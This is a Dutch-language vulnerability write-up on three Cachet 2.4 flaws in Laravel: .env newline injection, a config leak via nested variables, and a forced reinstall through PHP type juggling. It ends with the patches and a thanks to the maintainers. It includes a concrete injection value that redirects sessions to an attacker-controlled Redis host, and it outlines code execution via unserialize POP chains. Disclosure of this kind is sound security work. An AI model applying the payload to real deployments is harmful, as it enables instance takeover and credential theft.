Cachet 2.4: Code-uitvoering via Laravel-configuratie-injectie

Er wordt geen validatie uitgevoerd op de inkomende gegevens: zolang de configuratievermelding al bestaat, zal deze worden vervangen door een waarde die afkomstig is van de parameter. Als een aanvaller een waarde biedt die nieuwe regels bevat, zal het nieuwe vermeldingen in het dotenv bestand creëren en kan het framework-niveau functionaliteiten wijzigen.

Opmerking: alleen de eerste definitie van een variabele in een dotenv bestand zal worden gebruikt; latere zullen worden genegeerd. 

Bij Laravel-projecten is deze primitieve voldoende om willekeurige code-uitvoering te verkrijgen. Het oorspronkelijke dotenv configuratiebestand zal waarschijnlijk ongeveer zo uitzien in de meeste instanties:

.env:

APP_ENV=production
[...]
DEBUGBAR_ENABLED=false
DB_DRIVER=sqlite
[...]
DB_PREFIX=
CACHE_DRIVER=file
SESSION_DRIVER=file
QUEUE_DRIVER=array
MAIL_DRIVER=smtp
MAIL_HOST=foo
[...]
REDIS_HOST=null
REDIS_DATABASE=null
REDIS_PORT=null

Aanvallers kunnen de CACHE_DRIVER sleutel vervangen en een Redis-server onder hun controle registreren als een nieuwe sessiebackend:

file\nREDIS_HOST=some.remote.server\nREDIS_DATABASE=0\nREDIS_PORT=6379\nSESSION_DRIVER=redis

Na het verzenden van een aanvraag die CACHE_DRIVER instelt op deze waarde, zal het dotenv bestand er zo uitzien:

.env:

APP_ENV=production 
APP_DEBUG=false 
APP_URL=http://cachet.internal 
APP_TIMEZONE=UTC 
// [...] 
CACHE_DRIVER=file 
REDIS_HOST=some.remote.server 
REDIS_DATABASE=0 
REDIS_PORT=6379 
SESSION_DRIVER=redis 
SESSION_DRIVER=file 
QUEUE_DRIVER=null
// [...]

Omdat Laravel-sessies worden geseialiseerd met behulp van PHP’s native formaat, worden ze geanalyseerd met de functie unserialize(). Dit is een bekende zwakte die kan worden uitgebuit tot uitvoering van willekeurige code door gebruik te maken van een reeks speciaal samengestelde objecten, een concept dat bekend staat als “pop chains”. Het hulpprogramma PHPGGC kan dergelijke ketens genereren voor Laravel-projecten. 

Er zijn mogelijk andere manieren om commando-uitvoering te benutten vanuit een nieuwe regel injectie in een dotenv bestand, maar we hebben verder onderzoek in deze richting niet voortgezet. Mijn team en ik zijn benieuwd of u zich bewust bent van andere technieken, hoewel!

CVE-2021-39174: Configuratielek

Zoals ik in de vorige sectie heb beschreven, kan men directe lees- en schrijfcontrole hebben over waarden die in het dotenv bestand worden opgeslagen. Schrijven naar dit bestand leidt uiteindelijk tot willekeurige code-uitvoering, maar kan dit ook worden benut door het feit dat de waarden van dit bestand worden weergegeven in de interface?

De documentatie van vlucas/phpdotenv beschrijft dat het ondersteuning biedt voor nested variabelen toewijzing: bij het declareren van een variabele, kun je een eerder gedeclareerde variabele aanroepen met de syntaxis ${NAME}.

Dit kenmerk is handig: door een andere variabele in een vermelding van het dotenv configuratiebestand te verwijzen en deze vermelding in de interface weer te geven, wordt de waarde van een andere variabele onthuld. 

Het is reeds wijdverbreid gedocumenteerd dat het lekken van APP_KEY leidt tot code-uitvoering als de sessie driver is ingesteld op cookie, en deze primitieve kan ook worden gebruikt om DB_PASSWORD en MAIL_PASSWORD te onthullen voor verdere aanvallen.

CVE-2021-39173: Geforceerde Reinstallatie

De instelpagina is niet toegankelijk als de instantie al is geïnstalleerd, zoals geïmplementeerd in de middleware. SetupAlreadyCompleted:

app/Http/Middleware/SetupAlreadyCompleted.php:

settings->get('app_name')) {               
                  return cachet_redirect('dashboard');          
             }      
         } catch (ReadException $e) {          
            // nog niet ingesteld!      
         }        
         
         return $next($request);   
  } 
}

De controle is uitsluitend gebaseerd op de waarde van de instelling: als deze niet gedefinieerd is of leeg, zal de middleware beschouwen dat de instantie is geïnstalleerd.

Mocht je je afvragen wat nog meer als false kan evalueren, hier is een snelle handleiding over PHP’s type-systeem tijdens vergelijkingen tot PHP 8. Vergelijking kan worden uitgevoerd met een gelijkheidscheck (==) of een identiteitscheck (===). Gelijkheidschecks betekenen dat de type van de operanden niet in aanmerking wordt genomen, en strings kunnen vooraf worden omgezet naar getallen. Dit gedrag is “type juggling” genoemd en is misbruikt in verschillende echte levensgevaarlijke kwetsbaarheden (CVE-2017-1001000, CVE-2019-10231). In het geval van de bovenstaande vergelijking, zal elke waarde die gelijk is aan een lege string of “0” evalueren false en toegang geven tot de setuppagina’s.

De waarde van de app_name wordt niet gecontroleerd tijdens de updates van instellingen in SettingsController@postSettings, op [1]:

app/Http/Controllers/Dashboard/SettingsController.php:

<?php
class SettingsController extends Controller
{  
   // [...]   
   public function postSettings()  
   {      
       $setting = app(Repository::class);      
       // [...]      
       $parameters = Binput::all();       
      // [...]      
      $excludedParams = [           
        '_token',          
        'app_banner',          
        'remove_banner',          
        'header',           
        'footer',           
        'stylesheet',      
     ];       
     try {          
         foreach (Binput::except($excludedParams) as $settingName =>
 $settingValue) {              
                if ($settingName === 'app_analytics_pi_url') {                      
                        $settingValue = rtrim($settingValue, '/');             
                }              
                $setting->set($settingName, $settingValue); // <-- [1]
// [...]

Daarom kan een geauthenticeerde gebruiker deze bijwerken naar een waarde die evalueert als false en vervolgens toegang/setup opnieuw te installeren met een nieuw beheerdersaccount (privilege-escalatie) of ons eerste resultaat misbruiken en code-uitvoering verkrijgen (onthoud, UpdateConfigCommandHandler kan ook vanaf deze code-route worden misbruikt).

Patch

Het nieuwe lijn-injectie kwetsbaarheid (CVE-2021-39172) werd aangepakt door de validatie van binnenkomende waarden in UpdateConfigCommandHandler te verbeteren, elke wijziging met newline characters te weigeren.

De configuratielek-bug (CVE-2021-39174) was complexer om te patchen, aangezien de nieuwste versie van de dotenv bibliotheek niet kon worden geïmporteerd vanwege de bestaande afhankelijkheden. In plaats daarvan werd relevant code overgezet om de commando-handler in staat te stellen te bepalen of een waarde een geneste variabele bevat. 

Tenslotte is het niet mogelijk om een herinstallatie van bestaande instanties af te dwingen (CVE-2021-39173) dankzij verbeterde controles in de beïnvloede middleware.

Tijdlijn

Samenvatting

In dit artikel analyseerde ik drie kwetsbaarheden in Cachet en toonde de mogelijkheid om instanties over te nemen met slechts basale gebruikersrechten door gebruik te maken van Laravel-configuratiebestanden. Ik beschreef ook de patches die door de beheerders zijn toegepast en hoe ze de aanvallen die ik heb gepresenteerd, voorkomen. 

Tot slot willen mijn team en ik de beheerders van de FiveAI-fork van Cachet bedanken voor het erkennen van onze adviesaanvraag en het tijdig en professioneel oplossen van deze kwetsbaarheden.